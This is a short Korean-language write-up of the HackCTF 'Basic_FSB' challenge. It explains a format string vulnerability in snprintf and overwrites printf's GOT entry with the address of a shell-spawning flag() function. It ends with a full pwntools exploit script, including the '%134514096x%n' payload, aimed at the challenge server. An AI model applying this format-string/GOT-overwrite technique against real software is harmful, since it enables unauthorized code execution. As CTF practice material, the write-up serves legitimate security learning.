[ HackCTF ] Basic_FSB
포스트
취소

[ HackCTF ] Basic_FSB

문제 분석


vuln()함수를 보면 snprintf에서 FSB 취약점을 찾을 수 있다.


또한 shell을 얻을 수 있는 flag()함수가 있다.



문제 풀이


FSB를 이용하여 printf의 got를 flag()함수의 주소로 덮어주면 shell을 얻을 수 있다.

간단하게 FSB를 발생시켜보면 2번째 %x에서 첫 번째 인자 AAAA를 참조하고 있다.

따라서 다음과 같이 FSB를 발생시킬 수 있다.

printf_got(4byte) + %(134514100-4byte=134514096)x+%n


exploit 코드는 다음과 같다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *

p = remote('ctf.j0n9hyun.xyz', 3002)
e = ELF('./basic_fsb')

print_got = e.got['printf']

payload = ''
payload += p32(print_got)
payload += "%134514096x%n"

p.recvuntil('input : ')
p.send(payload)
p.interactive()